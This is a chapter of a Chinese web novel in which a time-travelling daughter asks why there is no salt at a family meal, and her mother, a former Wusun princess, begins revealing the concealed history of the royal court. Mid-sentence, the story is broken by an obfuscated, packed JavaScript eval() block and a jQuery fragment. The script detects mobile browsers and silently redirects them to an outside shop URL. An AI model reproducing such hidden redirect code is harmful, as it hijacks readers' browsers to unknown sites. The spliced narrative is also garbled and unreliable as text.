找齐材料回到家中,已经是午饭时辰了。
婉儿没法,只能先搁下香料,洗手入座。
说起来,穿越过来这几天,她一共就吃过一顿正儿八经的餐——就是在客栈醒来后小哥叫的那一桌子菜。其余的不是难吃的糕点就是硬邦邦的大饼,而且都是在饿得要死的情况下吃的,谈不上什么味觉体验。
所以这顿饭,是她回府之后第一顿正儿八经的家宴。
她夹了一筷子青菜,放进嘴里——
嚼了两下,停了。
又夹了一块鱼肉,蘸了蘸汤汁,放进嘴里——
还是那个感觉。
淡。
不是"清淡"的淡,是"好像没放盐"的淡。
婉儿皱了皱眉,又尝了一口红烧肉——肉是炖烂了的,酱色也挂得上,按道理应该是咸鲜口的,但吃在嘴里,就是差了那么一层。像是隔了一层纱,所有的味道都到了,但都差了一口气。
这口气,就是盐。
她实在忍不住了,放下筷子问了一句:
"家中口味为何如此清淡?好似菜中并未放盐。"
话音落下,满桌安静。
乌孙灵夹菜的动作停了。
上官信端碗的手顿了。
上官鸿嚼东西的腮帮子僵了。
上官莲低着头,但眼皮跳了一下。
然后——所有人的目光都集中到了乌孙灵身上。
因为"盐"这个字,在场的人里,只有乌孙灵听得懂。
乌孙国靠近海边,生存在乌孙国的人,自然知道盐是何物。但这是乌孙王室的秘密——从未对外提起过,更不可能在夏朝的餐桌上出现。
而她的女儿,将军府养了十六年的闺阁小姐——
怎么知道盐的?
乌孙灵的筷子"啪"地一声拍在了桌上。
"婉儿,你怎么知道盐的?"
声音很急,急到带着一丝压不住的焦虑。
这话一出,一桌子的人更懵了。
上官信、上官鸿、上官莲——他们疑惑的不是"婉儿怎么知道的",而是"盐是什么?为什么只有母亲和婉儿知道?"
而上官婉儿疑惑的是——不能是没有盐吧?
她看着母亲那张骤然绷紧的脸,意识到了什么。
"娘亲,这是什么秘密吗?"
乌孙灵没有回答。
她放下筷子,站了起来,绕过桌面,一把拉住婉儿的手腕——
"跟我来。"
她拽着婉儿往内室走,走到门口时回过头,目光扫过满桌的人,语气不容置疑:
"在座的所有人,还有房间的仆人——不许离开。等我回来。"
没有人敢动。
内室。
门关上了。
乌孙灵吩咐自己陪嫁的丫鬟简妈妈守在门口,任何人不得靠近。
然后她转过身来,看着婉儿。
她的眼神很复杂——有担忧,有警觉,还有一丝婉儿从未在她身上见过的东西。
恐惧。
不是害怕婉儿,而是害怕婉儿知道盐这件事背后的含义。
"婉儿——"
乌孙灵压低了声音,一字一句地问:
"你说的盐,是否是小小白色的颗粒状,置于食物中会使食物的味道变得美味,而且是前所未有的美味?"
婉儿看着她的眼睛,点了点头。
"是的,娘亲。"
"你何处得知盐的?"
婉儿的大脑飞速运转。
母亲这个反应,说明盐在夏朝是不存在的——或者说,是乌孙王室的秘密。如果她说"我在现代就知道的",那根本说不通。但如果她编一个含糊的来源,母亲又未必会告诉她真相。
她需要一个能让母亲放下戒心的答案。
"婉儿在前段时间……偶然得知的。"
她说得很轻,像是在试探。
乌孙灵盯着她看了很久。
婉儿没有躲闪,也没有多解释——她知道,越解释越假。与其编一个精密的谎言,不如给一个模糊的真话,让母亲自己决定要不要信。
终于,乌孙灵叹了口气。
像是做了某种艰难的决定。
"知道娘亲为何下嫁吗?而外祖为何举国归顺吗?"
婉儿一愣。
啥?
她听到了啥?
不是说因为父母对上眼了,祖父甘愿为妻女自降身份吗?
还有隐情?
她迅速把原主的记忆翻了一遍——原主所知道的版本,跟她之前脑子里整合出来的一样:灵儿公主不愿战争让两国生灵涂炭,主动请求出嫁;乌孙王不愿女儿受委屈,发起战争;后来灵儿公主亲自挂帅,潜入军账,一来二去产生感情;乌孙王为了王后和王后唯一的孩子,放弃了王位,举国归顺。
原主记忆里的故事,到这里就结束了。温情脉脉,有情人终成眷属。
但母亲刚才那句话——"知道为何下嫁"——用的是"下嫁",不是"和亲"。
"下嫁"这个词,不是被动的,是主动的。
婉儿的心跳加快了半拍。
"娘亲,"她看着乌孙灵,一字一字地问,"和亲的乌孙公主,是否一开始就是您?"
乌孙灵没有回避。
"是的。一开始和亲的乌孙公主,就是我。"
"所以——阿离必然是要失踪的。"
婉儿的呼吸停了一拍。
必然。
不是"不小心",不是"出了意外",是——必然。
"其中包含了两个故事,"乌孙灵说,"娘亲细细道来。"
她说完这句话,忽然侧头朝门外说了一句——
"简,去告诉将军,让他们先用膳。顺便在旁边支另一桌,让在场的所有丫鬟小厮全部先用膳。用完之后,所有人在迎客厅等我。没有我的命令,任何人不许出去。如将军有军务,便放行。"
门外传来简妈妈沉稳的声音:"是。"
然后是一声哨响——那是上官家内部传令的暗号。紧接着是稀里哗啦的脚步声和挪动桌椅的声音,显然简妈妈已经把事情安排下去了。
乌孙灵拉过一把椅子,让婉儿坐下,自己也坐了下来。
然后她开始讲故事。
"娘亲是乌孙王后唯一的女儿,也是中宫唯一的嫡系子嗣。"
乌孙灵的声音变得很远,像是在穿越一段很长的岁月。
"母后生下娘亲后,曾怀上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971522|214663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过父王的孩子。当时的魏贵妃,是母后后宫中最信任之人。"
魏贵妃。婉儿在心里记下了这个名字。
"但在娘亲孕期,魏贵妃给母后吃食里面掺杂了朱砂。一点一点地累积下,母后在腹中胎儿五个月时小产,因伤了身子,便不能再孕。"
朱砂。小产。不能再孕。
婉儿的拳头在袖子里慢慢攥紧了。
"魏贵妃也被打入了冷宫。因此,我便成了这中宫中唯一的子嗣——不会再有嫡出的皇子公主降临了。"
"父王的后宫中就仅有母后和魏贵妃。母后无所出后,魏家又安排了母后的嫡妹入宫,封为西妃。"
婉儿的脑子在飞速运转——魏贵妃是外祖母的庶姐?魏家安排了外祖母的嫡妹入宫?
"对,你猜的没错——那魏贵妃是你外祖母的庶姐。你外祖母未出阁前与她最为要好,所以当时才在你外祖母孕期,安排了没出嫁的大龄姐姐入宫。你外祖母也看在姐姐年岁已大,劝说父王接受了,并封了贵妃。"
"魏贵妃并无所出,打入冷宫后不久也去世了。"
死了。
"魏家安排母后的嫡妹入宫后封为西妃。不久便有了身孕——所以,阿离只比我小三岁。"
阿离。西妃之女。母后嫡妹的女儿。
"迫于压力,在三年后父王又临幸了西妃,又生了一对双生子——一对双胞胎弟弟。"
"西姨在后宫并不得父王宠爱。用父王的话说就是——'心都给了王后,哪里能分得出来呢?'"
乌孙灵说到这里,嘴角弯了一下,是很淡的、带着一点羞涩的笑——即使过了这么多年,回忆起父王说这句话时的样子,她还是会忍不住弯嘴角。
"西姨是母后的嫡亲妹妹,也知道自己的丈夫只能给自己尊重,不能给到宠爱。他们之间只能相敬如宾,不能恩爱两不疑。西姨在嫁过来之前就已经做好了心理建设——于西姨而言,母后幸福,她便幸福。"
婉儿听到这里,忍不住打断了母亲。
"外祖母和外祖姨的感情这么好的话——你们怎么会把主意打到阿离公主的头上?甚至让阿离公主在世间除名?"
她问得很直接。
如果王后和西妃感情这么好,如果西妃心甘情愿地接受了"只有尊重没有爱情"的婚姻——那怎么可能反过来害西妃的女儿?怎么可能让阿离公主"失踪"?
乌孙灵看着她,眼中闪过一丝复杂的情绪。
"傻孩子,哪能呢?"
她的声音很轻,但很笃定。
"母后和西姨的感情很好,而且不是伪装的那种好。父王也和西姨相敬如宾,虽没有爱情,但有感情。"
"你的阿离姨姨——并非出嫁路上失踪。"
婉儿的瞳孔微微一缩。
"而是在出嫁前,就已失踪。"
"出嫁路上的失踪——是父王所为。所以不可能查到线索的。"
出嫁前就已失踪。
也就是说——乌孙王在阿离公主失踪之后,伪造了一个"和亲公主在送嫁途中失踪"的假象,用来掩盖阿离真正失踪的时间和地点。
为什么?
因为阿离失踪的真相,比"送嫁途中被贼人掳走"要可怕得多。